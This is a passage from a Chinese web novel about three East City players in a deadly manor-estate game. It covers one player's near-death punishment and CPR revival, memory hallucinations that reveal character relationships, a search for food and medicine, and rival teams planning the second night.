周彤半信半疑:“怎么说?”
“现在大家对南城都有防备。”沈墨棠脚步放缓,口吻波澜不惊:“就算他们说了,南城就会信吗?”
她揉了下腮帮子,像是自言自语:“他们没办法完全信任对方,但我们掌握的信息很确定……”
“话说回来,”周彤突然又拽住沈墨棠的手,盯着她的脸,目露凶光:“你的脸是那个北城那个秃头打的?”
愣了一秒后,沈墨棠才意识到小六姐是在关心自己。
“不是。”沈墨棠往前一步,靠近周彤,压低声音:“是我在去燕台的路上自己扇的。”
“……”周彤一愣。
自己扇的?
扇成这副模样?
那得对自己多狠呐?
“嘘。”沈墨棠瞥了一眼宋白河,他也捂着自己的胸,往这边凑来脑袋听。
沈墨棠继续对两人低声道:“我和北城那人做了笔……呃,晚点再说,惩罚来了!”
她突然面容扭曲!
“嗯?小九?”
周彤没等话听完,就看到沈墨棠脸色一变,眼仁瞬间发白。
下一秒,沈墨棠竟然撒腿狂奔,疯了一般!
周彤和宋白河都是一愣。
但沈墨棠没跑出两步,被紧跟的陶瓷娃娃抓住,随后触电般倒地,没再动弹。
“小九!”、“沈墨棠!”
周彤和宋白河跑过去,只看到她瘫在地上,毫无生气。
“小九!怎么了?”周彤推了推沈墨棠,将她抱在怀里试了试鼻息,脸色骤变:“她没呼吸了。”
“把她放平。”宋白河异常的冷静,连“小六姐”都不叫,直接用了祈使句:“听一下心跳。”
周彤照做,耳朵贴在沈墨棠胸口,片刻摇摇头。
宋白河又按向沈墨棠的脖子,从脉搏上也一无所获。他微微颤抖,重重做了个深呼吸,问:“她刚才说什么?”
周彤紧紧闭眼回忆,然后睁开:“惩罚?”
……
身体猝不及防,不受控制想要逃避危险!
那是无法抵挡,无法面对的恐惧,不可理喻的未知!
电击才是救赎,帮助沈墨棠逃向死亡。
刹那间天旋地转,血脉奔涌,急速冷却。
世界颠倒过来。
黑是白,错是对,低是高,我是你。
意识沉入湖底,在巨人手掌中跳舞,瞥见遮天的脸庞,摄人心魄的巨眼,日月星辰为之失色,如恶鬼遨游祥云,棉布抱紧烈焰,心脏深藏大地。
是啊,那块黑色的大地,行走在布满荆棘的黑色大地上,鲜血渗入土壤,滋养那颗如雷鸣般跳动的巨大心脏,亘古的时间阻止不了它的跳动,浴火冰封也触动不了它半分。似乎曾见过它,又再见它,犹如忠实的信徒瞻仰神迹,是虔诚朝圣的终点。
荆棘缠绕心脏,雷电劈中心脏,它便更强力地搏动,鲜血淋漓,如雷贯耳。
扑通、扑通、扑通。
掉进去了。
掉进去了,躺在巨人的手中,被彻底凝视,毫无保留。
醒不过来了。
“小九!醒醒!”
黑色的大地高高隆起,荆棘鲜花盛绽,热烈而妖冶。
意识在遥远的深空沉睡,神游至烂漫处,嗅到花香不愿醒来。
嘈杂的祈祷声响个不停。
日日祈祷下雨,也祈祷天晴,祈祷鱼肚白,也祈祷金黄的沉沦。
漫长的光阴反复,最终,从钴蓝色的镜像中找寻被铸就的那尊自我,却从不敢靠近,连呼吸都用尽力气。
好窒息。
“呼吸!沈墨棠!张嘴!!”
清凉拥进冰冷的气管,吹起漫天玫瑰色花瓣,荆棘碎成麦浪,妖冶溢出秾丽,仿佛栗子味的糖果沾湿嘴唇。
意识从湖底上升,穿过陈腐和浑浊,投向阳光,拥吻力量与温暖,奔逐回归。
肺泡被空气挤压,苦涩的湖水如涌泉喷出……
“咳咳!咳!”
平白无故,明明是在游廊的石板路上,沈墨棠竟然张嘴吐出一大口浑浊的湖水,还有腐烂的植物和淤泥,像是刚刚落湖溺水被人捞上来的样子。
睁开眼,面前是忧心忡忡、错愕慌张的两名队友。
宋白河,周彤。
“我感觉,”沈墨棠喘着气,在小六姐的帮助下坐起来,“我好像差点死了。”
“你是差点死了,小九。”周彤清理沈墨棠身上的浑浊湖水:“刚刚怎么回事?”
“我……”
一股“大难不死”的侥幸油然而生,沈墨棠长长松了口气,逐渐恢复成平常语调:“我没摇铃。”
周彤和宋白河对视一眼。
东城三人昨晚都进了[凶屋],都听见广播里说过“没摇铃的玩家将在天亮后受到惩罚”。
惩罚具体是什么,现在只有沈墨棠知道——不是电击、放血、凌虐、死亡……
沈墨棠尽力控制住无意识颤抖的手指,内心仍是阵阵后怕。
她不惧怕死亡,死亡对她而言是最轻松的解脱。
但这种“惩罚”,比死亡可怕百倍!
是将你丢进无法理解的地狱中,不醒不眠,不生不死,让
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你经历解剖自己的痛苦,一点点蚕食自己,再生出新的自己,循环往复,堕入无尽深渊。
好像死了,又好像没死。
“我,嗯,晕了多久?”沈墨棠看了看周围,还在游廊,她斟酌着使用最合适的词汇。
“一小会。”周彤动作顿住,“你刚刚没呼吸和心跳。”
一小会?原来只有一小会吗?
感觉过了好久,在未知的地狱中经历了无数折磨,身心俱疲。
再有一次,恐怕会失去所有意志,彻底回不来了吧?
没有心跳?没有呼吸?
死亡原来真的差点带走自己。
“幸好宋白河会心肺复苏。”周彤将沈墨棠撑起。
“谢谢你。”沈墨棠看了眼宋白河,想到他的“东城校服”还绑在西城大块头的腰间:“你昨晚做的没错。”
“啊?我……”宋白河好一会才反应过来,沈墨棠说的是两件事。
于是他点点头:“我帮他止了血。”
“他活不过今天。”沈墨棠心有余悸。
“啊?”宋白河一愣,眼神黯淡下去。
“你帮他止血了,西城怪不到咱们头上。”沈墨棠看着他的模样,轻轻叹气:“但是他,应该挨不过这个惩罚。”
宋白河又抬起眼眸。
“这项惩罚,靠那种重伤下的精神状态,很难撑得住。”沈墨棠说着,看向月门外的天色,久久没再说话。
明明是早晨,却透着莫名的昏沉感,逐渐明晰的树影仿佛襁褓摇篮。
最终是周彤停下动作,开了口:“能起来吧?”
沈墨棠很累,她不是很想起来。
但现在不是该休息的时候。
游戏还在继续,第二个白天的时间正一分一秒流逝,偌大的庄园中还有无数地方等待探索。
沈墨棠“嗯”了声,在两名队友的搀扶下站起来,强迫自己停滞的脑子重新运转。
游戏第一天,东城的局势还算不错。
不仅拥有绝对的信息优势,三人的总分也达到4分,刚好占全场16分总分的1/4,达到平均值。
只要在后续游戏过程中,利用好信息差,很大概率能在其他城区都还未发觉前积累起分数优势。
现在能明确的是:
1,沈墨棠是“午”,裴珠,客人;宋白河是“辰”,巫乐安,少爷;周彤是“酉”,安妮,医生。
2,沈墨棠[厌恶]的人,是“西城大块头”、“西城中年男”、“北城连衣裙女人”其中之一。且目前唯一的0分角色“寅”,也是这三个人当中的一个。
3,宋白河摇了铃,但只得1分。可以推断宋白河[喜爱]的人是四名“扣分者”之一:“西城大块头”、“西城中年男”、“北城连衣裙女人”、“沈墨棠”。
4,与沈墨棠同理,目前唯一的3分角色“亥”所[厌恶]的人,也是四名“扣分者”之一。
猜测中的信息是:
1,12个角色当中有“管家春兰”,春兰已婚,藏有婚书和结婚照,住在“长香居”的河田楼一楼。
2,12个角色当中有“护院马五”,马五有春兰的手帕和一块破损的枪托,住在“长香居”的河田楼二楼。
3,河田楼是庄园下人们居住的地方。
4,少爷巫乐安不受下人待见,曾在河田楼三楼遭受欺凌。
沈墨棠揉了揉眉心,思考还有什么遗漏。
周彤搀着她:“走吧,先找个地方静一静。”
至于昨晚,沈墨棠和西城那个秃头发生了什么,等她好点再问吧。
86. 巫凌海庄园13
“长香居”的香樟树粗壮挺拔,郁郁葱葱,经过暴雨的洗礼后更显翠绿,在晨光中熠熠生辉。
令人感到怪异的是,明明已经出了太阳,一丝风也没有,庭院的气温却比昨天狂风暴雨更加冰凉。
沈墨棠抱紧胳膊,和身旁的周彤挨近。
再回头一看宋白河,还光着膀子,真替他感到冷。
根据昨天宋白河的“幻觉”,可以得知左手边的第一幢楼叫做“河田楼”,是庄园下人的住所,包括管家春兰、护院马五等都住在这里。
至于另一桩造型一样的洋楼,则是今天最先探索的区域。
同样是群青色的砖石结构,大门左右立柱贴了瓷砖,大多都掉光了,上面只残留几块。
大门紧闭,周彤上手推了推,示意沈墨棠往旁边一些,随后果断出脚——
“嘭!”
经年累月的门锁应声崩落,两扇门松垮垮地打开。
楼内没有光,宋白河照着昨天的样子,摸黑进去,很快找到窗帘拉开,于是楼房后方的晨光透进来,照亮大厅。
空间和隔壁楼差不多,装潢更加豪华一些。
地上铺着大块的石砖,虽然陈旧发黄,但看得出用料不虚;墙脚是一圈黑色的踢脚线,再往上是乳白色的瓷砖,大概到齐腰的高度,然后便是剥落到看不出颜色的墙漆;大厅只有两张靠背长椅,一张在楼梯处,另一张放在里侧的墙角,没有太多的生活气息,像是公共场所。
随着宋白河拉开更多窗帘,楼房内的时光仿佛再次流转,重又迈开脚步。
沈墨棠仰头望向二楼:“抓紧时间,今天多找几个地方。”
周彤伸展了胳膊,手指关键咔哒咔哒响。
“当心点,可能会有幻觉。”沈墨棠提醒。
如果没猜错,昨天宋白河的遭遇绝不是偶然,或许是游戏设置的某种获取信息的途径,和被陶瓷娃娃“植入”的角色记忆有关——遇见特定的场景,便能解锁特定的“记忆”。
而这些“记忆”,明显跟游戏的[喜爱]、[憎恶]相关。
如此,就更应该探索整座庄园。
周彤当先上了二楼,沈墨棠搜大厅左侧两间房,宋白河搜大厅右侧两间房。
三人活动的声音为建筑注入了生命,扬起的尘埃在阳光中飞舞盘旋。
“安大夫,忙着呢?”
周彤一恍惚,顺着楼梯走上二楼,试图看清身旁到底是谁在说话,但那人的脸模模糊糊,只看到嘴巴开合:“安大夫,听我一句劝,夫人的话您可千万别放心上,什么西药有毒,要我说,能治病的就是好药,您说是吧……”
药?
周彤不知不觉说了什么,惹来对方又一阵碎嘴:“哎呦,您也太客气了,咱都是给巫家做工的,自然是要和睦,您说是吧。我就是担心安大夫太较真,被夫人的话气着了。夫人……唉,要我说,夫人就是嫉妒您漂亮,有学识,涵养高。”
身旁的人叽里呱啦,周彤没怎么回应,只是脚步稍稍放缓,上二楼的速度慢了些。
“安大夫,这夫人成天照镜子,倒是忘了她自己打哪……哟,这话咱私下说,我就是觉着安大夫亲切,才敢跟您嚼这舌根子。”身旁人压低音量,似乎更靠近了:“啧,夫人那种风尘女子,进巫家时还带了个大拖油瓶,也不知道是给咱老爷灌了什么迷魂汤……唉,可怜咱老爷……”
说话间,周彤已经上了二楼,来到一处房门前,停住。
“咱老爷就是……呐,咱小声说,就是以前杀孽太重,才……哦,哦,安大夫要做事了吧,您忙您忙,就不耽误您了,我还得去给木先生送墨呢……啊?是呀,老爷挺看重木先生的。行,安大夫,下回您得空,我跟您说说木先生。”
身旁人说着“回见”之类的话,折返回楼梯,继续上三楼。
周彤很努力想要看清,但无论是对方的样貌还是身形,都裹在一层迷雾中,模糊不清。
再反观自己,手中不知何时掏出一把钥匙,插入身前的门锁中,“咔哒”一声打开。
“呃!”
周彤犹如死胎突然能喘气,浑身止不住颤抖,意识、五感渐次回归,重新掌握了自己。
是幻觉?
用力的呼吸,似乎是要证明自己还是周彤,没有变成什么“安大夫”。
楼下有沈墨棠和宋白河在搜东西的动静,除此之外,周围一片陈旧死寂。
是幻觉,是“安妮医生”的幻觉!
周彤明白了昨天宋白河的感受。
这不是梦,是真实到令你难以分辨的记忆,是无法抗拒的另一个自己。
她刚想开口喊来沈墨棠和宋白河,却发现自己手中正握着门把手——是单独的门把手,已经从门上脱落,而坏掉的门轻轻往内摇去。
自己刚刚将门把拧下来了?
顺着打开的门向内望,房间里靠墙有两面大药柜,地上有许多柜门掉落的玻璃渣子,还没坏的柜门则蒙着一层厚厚的灰。
药房?
而且,不是中药房。
柜子里放着的都是包装好的各种西药,包装上一堆外文,应该早过期了。
周彤小心跨过地上的玻璃渣,进屋想拉开厚重的窗帘,却一下子将整个窗帘杆扯断,呼啦啦扬起尘土。
想来这窗帘应该是常年不动,才这么生涩。
“呸、呸……”
这么多药,全都是洋文,会有谁认得吗?
“哎?”
门口走廊,有人影走过。
周彤意识恍惚,窗外时光陡然变成了黄昏,地上的玻璃渣纷纷飞回柜门,所有松垮的位置全部复原,接着是身后窗帘遮起,屋内只剩下天花板的灯光。
一切都悄无声息,没发出半点动静。
安妮三两步追出房门,冲走廊上的背影叫了一声。
那人回首,模糊不清,只有声音传来:“安妮医生,下午好。”
安妮往前,来到那人身前,仰头看着对方说话。
对方又回应了:“嘿,你在这儿救死扶伤,对他们来说,你就是医生。安妮医生……噢,安大夫才是。”
那人说话的时候,安妮低下头,反驳了什么,惹得对方哈哈一笑,停了停又说道:“那么安妮,还记得奥地利客人送我的咖啡吗,听说那是法国皇家特供的咖啡豆,我想在这里除你之外,没人懂得品尝了。明天下午?来我的地方,我们一起煮咖啡?”
安妮开口,很快点头。
“就这么说定了,明天下午见。”人影说着,和安妮告了别,走下楼梯离开。
“明天下午……咖啡……”
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周彤念叨着,突然发现听得见自己说话了,眼前也不再模糊。
她站在二楼走廊里,面对空荡荡的废楼,身后是药房窗户透进来的微弱晨光。
怎么回事?又是幻觉?
连续两次?
幻觉里的记忆,应该能揭示12个角色更多的关系吧?
得赶紧告诉小九!
周彤踉踉跄跄往前走,自己都没意识到需要靠扶着墙才能站稳。她来到楼梯口,听见楼下沈墨棠的声音,刚想开口,眼前突然一黑,整个人向前栽去……
“嗯?”
沈墨棠刚从一无所获的房间内退出来,听见二楼楼梯口传来什么动静。
她退到大厅中央,循声望向二楼,看到小六姐倒在楼梯扶手上,老旧的扶手发出“喀呲喀呲”的断裂声,一点点往外倒!
仔细一看,小六姐仿佛失去意识。她身后的陶瓷娃娃静静站着,对“主人”的危险无动于衷。
“宋白河!”沈墨棠急迫地大喊。
“喀!”
扶手彻底断开,昏迷的周彤从高高的二楼坠落!
沈墨棠本能伸手去接,却发现断掉的扶手也一同砸向自己!
在最后一秒,身体被一只大手拦腰抱开,尖锐的扶手断口几乎贴着发丝掠过。
“哐当!”
厚重的实木扶手砸在石板地面上,周彤则被宋白河肉身垫了一下,稳稳落地。
唯一受伤的,只有趴在地上发出痛苦呻·吟的宋白河。他披着一件不知道从哪翻出来的灰色呢子西装,老旧的西装有点小,露出腰身和胸腹。
听他的声音中气十足,应该是没事。
“小六姐。”沈墨棠第一时间扶起旁边的周彤。
这一下,周彤也清醒过来了,迷离的眼神很快重新聚焦,喘着气:“我看到幻觉了。”
“嗯。”
沈墨棠点头,将小六姐带到大厅的靠背长椅坐下,听她将刚才的幻觉描述了一遍。
……
“……然后刚想叫你们,就晕倒了。”周彤说完,指了下断掉的楼梯扶手。
宋白河靠在楼梯旁,默默舒展被当成肉垫的身体。
沈墨棠点点头,低头思索,没说话。
小六姐获得两段连续的记忆:上楼梯时,旁边的人叫她“安大夫”;从药房出来时,那人叫她“安妮医生”,还称“这里只有你懂得品尝咖啡”。
国人以为安妮姓“安”,所以叫她“安大夫”;只有同为外语环境的人,才叫她“安妮医生”。
所以“安妮”是个外国人?
另外,虽然不清楚后一个人和安妮什么关系,但根据小六姐的描述,总感觉两人关系不一般。
第一个人还提到一个“木先生”还是“穆先生”的人,也是12个角色之一?
还有,就是关于“老爷”和“夫人”的信息。
庄园的“夫人”原是风尘女子,进庄园时还带着个拖油瓶……这么说来,“巫乐安”被下人们讨厌,被欺凌……是不是就因为这位“少爷”并非巫老爷亲生的?
蛛丝马迹让人物关系开始有眉目。
沈墨棠想到这,抬眼看向宋白河。
宋白河似乎是觉得衣服不太合身,缩了缩胳膊。
“走吧,再找找。”
87. 巫凌海庄园14
“老大,这地方这么大,怎么找啊!?”
四方战,东城大本营,植物园。
一成不变的金色阳光在各种植物表面照出光影,有些棱角分明,有些柔中带刚。在王潇的指挥下,东城的剩余参赛人员,一共7人,分散到植物园的各处,尽快寻找[金]牌。
奈何植物园占地颇大,缤纷多彩的各类温室场馆,各种看似不起眼但不能忽略的角落……没有任何引导,光靠7个人,想在其中找到一张小小的麻将牌,简直是大海捞针。
范诺琪步入一片宽广的针叶植物林,对眼前青葱翠绿的空间瞬间没了想法:“这纯碰运气嘛!”
“哈哈,是要靠点运气啦。”王潇跟在范诺琪身后,双手叉腰,“你忘啦,永夜城里,运气也……”
“运气也是实力的一种。”范诺琪翻着白眼,抢过王潇的话。她扯下鬓角的发卡,头发炸毛般飘起,大声抱怨:“啊啊哎呀!这怎么找啊!我们应该把小六姐留下来的呀啊啊啊!”
“哈哈哈哈。”
王潇只是笑着抱住抓狂的范诺琪,像是安慰:“好啦,我们慢慢来。”
“唉,小六姐可是找东西一把好手啊!人形警犬好嘛!啊啊啊啊,老大,你别跟小六姐说我背后这么叫她啊!”
“哈哈,放心啦!小六姐的实力大家都懂!”王潇轻轻敲了范诺琪的脑袋,想到了什么,略有担忧:“也不知道她们三个现在怎么样了,毕竟有两个新人呢。”
范诺琪回身,看着王潇:“有小六姐在,应该不会出事,该担心的其他三个城区的人,别惹小六姐,不然被库库一顿削……”
“你这说得你小六姐跟陶瓷娃娃似的。”
“老大。”
“嗯?”王潇注意到范诺琪突然认真。
“小六姐她……”
“嗯?”
“她到底为什么那么强啊!”范诺琪说起来既胆怯又向往:“她以前做什么的?你懂的,长得跟手办似的,又那么狠……你和她比较熟,知道她以前做什么的吗?干特工杀手的吗?”
王潇清楚这里的“以前”,自然指的是“太虚”中意识形成。
她想了想,回应:“周彤跟我们不一样,她进城的时候,是被淘汰者,而且……跟她同届的新人,全都死了。”
“我知道,我是问……”
“我记得,她是在进城后才开始学习格斗,学得很杂,只要是能伤人的,她都学。”
王潇停了一会,忽然冲范诺琪一笑:“琪琪,小六姐其实跟你一样,原来是老师呢!”
“啊?小六姐!?”
“哈哈,是啊。”
“职业武术老师?”
“……是幼儿园老师啦。”
*
楼内除了药房外,还有医务室,以及各种摆着案台,存放物件的房间,例如三楼的其中一间,就有木柜子存放大量笔墨纸砚。
当然,现在那些东西全烂在地上了。
找不到有人住的房间,猜测这里是什么办公场所或者功能性的建筑。
安妮医生应该经常在此活动。
因为周彤在医务室又经历了一段幻觉,差点把她折磨疯了!
幻觉中,应该是有人来问诊开药,那人阿谀道“这瑜意楼可真干净,都快赶上安大夫的后屋了”,还有“安大夫菩萨心肠,长得又这么秀丽白净,在您的国家肯定是个富家小姐吧”之类的。
安妮像是问了什么,得到关于“木先生”的回应:“您说那木先生啊?听说是个穷秀才,哎哟,现在这年头,当兵的当兵,逃难的逃难,秀才哪有活干呐,要不是咱老爷想给少爷找个管教,收留了他,不然木先生怕是要饿死哦……这说来是挺怪,本来庄里有个老先生,被春兰管家赶跑了,木先生才进的咱庄。”
周彤从幻境醒来的时候,发现自己紧紧握着拳头,手上青筋暴起。
幻境里到底是怎么一回事,她也说不清楚。
“好像,我对这个木先生有点意见。”周彤略微迟疑:“但我没有证据,感觉不一定能当真。”
靠感觉吗?
沈墨棠不置可否。
在【巫凌海庄园】中,玩家被植入了角色相关的记忆,所以用角色“感觉”作为推断依据,理论上符合一定逻辑,毕竟是当事人的直接反应。
……
又过一阵,当三人探索完“瑜意楼”的时候,阳光已经倒向楼房另一边。
游戏中的“白天”只有四个小时,太阳移动得特别快。
回到一楼大厅,宋白河的肚子突然“咕咕咕”叫起来。看到他尴尬的表情,沈墨棠才发现自己同样饿得厉害,幸亏脑子还算清醒。
“我们要补充食物、水分。”周彤看向四周。
在永夜城,玩家们无需为食水发愁,各种便利美味的饮食随手可得,想要节省消化时间,也可以使用一些高生物科技的注射物,任君挑选。
但在四方战,生存也是玩家面临的挑战之一。
所以才会有“花牌”的物资补充,以及每个大本营内可利用的生存条件。
参加【巫凌海庄园】的玩家们,至今已有将近7~8个小时未曾进食,不论是[凶屋]的争夺还是“幻觉”的冲击,对精神体能都消耗巨大。
长此下去,想要撑到43个小时游戏结束,难度可想而知。
沈墨棠望着从大门照进来的昏黄斜阳,脏兮兮的石板竟也给人种祥和感。
她想起王潇在三人进游戏前,殷殷切切叮嘱:“游戏时间很长,你们要注意保持体能,这是持久战。”
她当时的意思,应该预料到体能补给的重要性吧。
但这场四十多个小时的【巫凌海庄园】,不至于让玩家都饿着肚子才对。
沈墨棠转念一想:这偌大的庄园,肯定会有许多“伙房”或者存放食物的“地窖”之类的地方?就是不知道食物还新不新鲜……
补给……
她抬起眼眸,看向宋白河:“你会急救?还会其他的医疗相关的吗?”
暮光中的宋白河回望沈墨棠,点点头,又摇摇头,想起什么似的,避开目光,清了清突然干涸的嗓子:“咳,我只学过基本的……咳,我爸妈教过一点应急的心肺复苏,从来没想过会用上……”
听他前言不搭后语的回应,沈墨棠皱了皱眉,打断道:“你去过药房了?”
“药房?”
“你的手,可以自己消毒包扎一下?”
“啊,不用,都已经……”
“你会吗?”沈墨棠指向二楼,“我们可能还会受伤,如果那里有能帮上我们的东西,应该先把它们带走,防止落到别人手中。”
沈墨棠说得对,宋白河和周彤醍醐灌顶。
他们忽然意识到【巫凌海庄园】内的博弈,远比想象中复杂!
除了硬性的游戏规则以外,庄园内的一切生存物资,都会是玩家们需要尽快收集的对象。
而且由于白天“陶瓷娃娃”的存在,玩家无法抢夺彼此的物资——所以谁先找到,谁就能拥有!
“嗯,我去看看。”宋白河踩上楼梯,又回头说道:“但是……房间里没办法带东西啊。”
“嗯?”
“就是……”
宋白河将昨晚自己想带“枪托”进房间,但没办法的事情说了一遍。
“带不进?”沈墨棠点点头。
确实,如果玩家能将白天搜到的东西带进夜晚的房间,那么事先准备好刀枪棍棒之类的,肯定在暴力冲突中更有优势。
甚至还能提前做点什么装置,进房间后尝试撬开百格窗或者房门,直接逃出去都有可能!
所以游戏设计成无法带东西进屋子。
“那枪托,是留在原先那栋楼了吗?”
沈墨棠指了指隔壁。
周彤起身:“我去看看。”
她冲楼梯上的宋白河挥挥手:“你先去收集那些药。”
宋白河应了声,往上跑两步,又回头:“等等,还有个事……这么久了,药应该都过
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期了……”
周彤:“好像有医疗绷带。”
“把能用的都先藏起来。”沈墨棠催促宋白河赶紧行动,心中升起一股类似“决策失误”的强烈不安感——四方战的博弈维度比她想象中更加宏大。
……
沿湖边的游廊往另一个方向,穿过一道较大的月门,会来到一个空庭院,有鹅卵石铺成的弯弯的小路。再经过庭院另一侧的小门,便会来到一片偏僻平坦的荒地,杂草丛生。
仔细看的话,有许多杂草都被拔除,横倒放在地面。
丝丝轻烟,在杂草之间流淌,散得几乎看不见。
“嘿老仙儿,你说说,你一老头,在太虚是做什么的?”
南城的席炎扔掉手中沾满泥土的树枝,看着两名队友在地上烧火,又惊又喜:“怎么懂这么多杂七杂八的玩意儿?”
“这是无烟灶。”老仙儿正为一个土坑里的小火堆添加杂草枯枝,指了下席炎脚下:“刚才让你挖的是排烟道,盖上杂草,烟就不会往天上散咧。”
柯思思在旁边补充:“这样就不会被人发现咱们在这烤地瓜了!”
老仙儿添火的土坑里,正烤着几颗刚出土的地瓜。
植物燃烧的香味随烟飘出,惹得席炎猛咽口水。
他早就饥肠辘辘了!
游戏进行到现在,说不渴不饿那是骗人的,玩家们基本都靠肾上腺素在战斗,维持着饱满的精力。
但再这么不吃不喝下去,过不了一阵子,不一定会变成什么样。
“老仙儿,那你怎么知道这儿有地瓜?”席炎深感讶异。
虽然辛乙初之所以被取了个“老仙儿”的绰号,正因为他平时表现出来的就是懂得很多,很杂,活像个什么“百晓生”、“百事通”。
而且性情古怪。
“咱种过地,傻小子哎。”
果然,老仙儿的口吻从来就没正常过,加上那浓重的腔调,实在让人难以适应:“这巫凌海庄园怕是早就有问题了,你看看,绿化用这种不值钱的地瓜叶凑数……这巫老爷,外强中干啊……”
他一边看着火,一边闲聊般碎碎念:“唉,昨儿咱这逛了一圈,这大庄子里啥活的都没有,水里没鱼天上没鸟,连只虫儿都遇不着,总得想想到哪找吃的填肚子咧……俗话说啊,人是地养活的,这想在野里找吃的,还得从土地里找……呐,俗话又说了,人是铁饭是钢,等他们饿肚子的时候,哪还有心思玩游戏咧?”
“到时候恐怕还得来求咱呢!”
说着,老仙儿看向一旁:昏沉的天色下,堆放着十几个刚挖出来的小地瓜,是这片废弃地瓜田全部的收成。
不知道为什么,经老仙儿这么一说,坑里的烤地瓜闻起来更香了。
不一会,老仙儿估摸着火候到了,用树枝将地瓜拨出来,三人顾不上烫,呼哧呼哧大快朵颐。
“你们说,西城那个,是不是没了?”席炎双手来回翻着滚烫的地瓜,仿佛要安抚暂时还咬不下的嘴似的,淡淡问了句。
老仙儿看向柯思思。
她冲放地上散热的地瓜点点头:“我看到他们掉小珍珠了。”
“卧槽,那俩年轻的?”席炎耸耸肩,一边剥掉地瓜皮,一边嘲弄般:“看不出他们还挺讲义气哦!”
“好像也不是。”柯思思抬头想了想:“剩下那两个,好像是吓哭的。”
“吓哭的?什么情况?”
“不知道哦。”
“那你怎么知道是吓哭的?”
“反正不是伤心哭的,看着不像。”
“那也可能是其他原因哭啊,开心的,高兴的,感动的,激动的……”
“比如说,有害健康你要是死了,我跟师父会开心的。”
“……”
老仙儿听着柯思思和席炎的拌嘴,眯着的眼睛里透出微妙的光。
天色很快彻底变暗,三人身后的陶瓷娃娃一同发声:“玩家请注意,距离进入夜晚还剩30分钟,请及时提交今日住房号。”
88. 巫凌海庄园15
从第一晚的情况看,只要保证两人能进[吉屋]或者摇铃,团队分数就不会差太多。
所以沈墨棠为第二晚制定了比较保守的选房策略:自己和宋白河选“丙”,周彤选“戊”。
周彤武力值高,自保能力强,自信能单独拿分。
就算房间里有其他玩家,也不会是她的对手。
至于宋白河,昨晚和西城大块头打得那么惨烈,落下一身伤,要是今晚再遇上谁,恐怕都会有点危险。
沈墨棠清楚自己不具备身体对抗优势,要是再遇上其他城区的玩家,估计还得失分。干脆自己跟宋白河到同一个房间,这样能相互保护,共同作战,至少能保证东城摇到铃。
避战虽然可耻,但保分有用——这是暂时最好的策略。
等游戏局势明朗一些,再做调整。
“玩家请注意,即将进入夜晚。”
“倒计时10……9……8……”
陶瓷娃娃整齐的报数环绕回响,东城三人各自做好准备:宋白河穿着不合身的外套站在一边;沈墨棠双手抱胸,凝眉思索;周彤似乎已经进入“杀戮模式”,眼神冰冷:“两小时后见。”
黑夜降临,沈墨棠背后爬起一抹凉意。
她不担心周彤,只觉得跟小六姐选了同个房间的人运气不太好。
“3……2……1……”
倒计时结束。
迷离的火光荡漾开,周围变得清晰,房间内无灯自亮,依旧是多宝架、百格窗、旧木椅和厚实的房门。昨晚发生在这个房间里的“厮杀”没有留下任何痕迹,多宝架上的瓷器完好如初,分不清到底是昨晚的“丙”房间复原了,还是说这其实是新的房间。
沈墨棠和宋白河分站房间两侧。
“丙”房间内,没有其他人。
“玩家请注意,你们入住了凶宅!只有最先摇响铃铛的人能够逢凶化吉!”
两人听着广播,对视一眼,然后同时看向屋顶挂着的铃铛。
“呃……”
“休息。”沈墨棠拉过墙角的椅子,示意宋白河坐下。
选房间前早已盘算妥当:如果遇上其他玩家,两人主动出击;如果没遇上,就抓紧时间休息。
夜晚两个小时,正是可以用来养精蓄锐的好机会!
沈墨棠只坐椅子的一半,宋白河坐椅子另一半,就在她的左手边。
八仙桌用的椅子不长不宽,两人坐着并不舒服,一不留神就会碰到对方。
宋白河光套着西装,双手放在膝盖上,正襟危坐,盯着墙上的壁雕发呆。
沈墨棠背靠墙壁,抄手假寐,两条腿搭在一起。
“沈墨棠。”
“嗯?”
“能告诉我,你昨晚怎么过的吗?”
沈墨棠睁眼:“怎么?”
宋白河回头,正好撞进沈墨棠漆黑的双眼中。
像星星。
宋白河为自己贫瘠的词汇量感到羞愧。他的目光闪烁,轻咳一声后,低头极不自然地抓几下头发,手像是没地方放似的,又拉着自己那件露腰西装整理一番,最终还是抬头对上沈墨棠的视线:“我就是……就是好奇。”
……
同一时间,“庚”房间。
“交易?”
北城的连衣裙女人咬牙发问:“哎嘿,兵哥藏得够深的呀,怎么到处和人合作?”
做为北城的“玄九条”,她坐在椅子上,小心翼翼捧着脱臼的胳膊。只要轻轻一动,肩膀关节还是一阵疼痛。
玄九条竟然选不出“遭遇周彤”和“接受惩罚”这两件事哪件更糟糕。
但不论哪件,她回想时心里都是一阵发毛。
最终她还是和沈墨棠的决策一样,在第二晚,也和队友进入同一个房间。
毕竟“接受惩罚”她已经有经验,但随着时间的推进,面对周彤,恐怕就不是一条胳膊能解决的事了。
被叫做“兵哥”的玄二筒,是北城的秃头男。他靠墙站立,百无聊赖抓挠带有刺青的胳膊,解释道:“不得不合作。那个人,疯的。”
“谁呀,你说东城那个小屁孩呀?”
“噢……”玄二筒抬眼,露出一嘴烤漆钢牙:“秀老板,你也是个小屁孩。”
“你都叫我‘秀老板’啦,怎么算小屁孩呢!”玄九条“咯咯咯”笑了几声,最终还是受不住肩膀的疼痛,被迫停下,齿缝间“嘶嘶”吸气。
她又问:“到底怎么回事呀?兵哥,你不跟锅盖头讲,也该同我讲呀。”
玄二筒摊开手:“不是不跟你们说,是你们压根没问。”
“你现在问,我就说了。先说清楚,我可没打她噢!”他抬起一根手指头强调:“你兵哥从来不打女人,你知道的。”
“哎呀?”玄九条困惑地龇着牙,忍住笑:“嘶……她还能自己打自己的啦?”
“那人疯了。”玄二筒顿了顿,打量屋子,嘀咕了句:“虽然这里也不正常。”
“到底怎么啦?”
“就……”
玄二筒回忆起“昨夜”的遭遇。
……
同样是在“庚”房间,房间内同样只有两名玩家,没有陶瓷娃娃。
当广播说完“先摇铃的人能逢凶化吉”的时候,玄二筒心里已经十拿九稳。
他看着东城的那个女孩,她在燕台上还傻兮兮地说着什么“合作”之类的鬼话,现在却一言不发。
她打不过他。
“我摇铃了。”判断对方没有威胁后,玄二筒毫不客气笑着,很自然利用椅子踮脚,轻松摇响铃铛。
——叮铃铃。
铃铛消失,广播宣布结果。
房间内便安静了下来,只有窗外呼啦啦的暴雨声。
玄二筒再次看向沈墨棠的时候,对上她犹如沉寂湖水般的眼神,不由得一愣。
她问:“你不杀我吗?”
杀?
吓傻了?
玄二筒打量了一番沈墨棠,耸耸肩调侃:“噢……我该杀你吗?”
“你该。”她眼神定定的,语气没有半分情绪:“夜晚应该可以动手。”
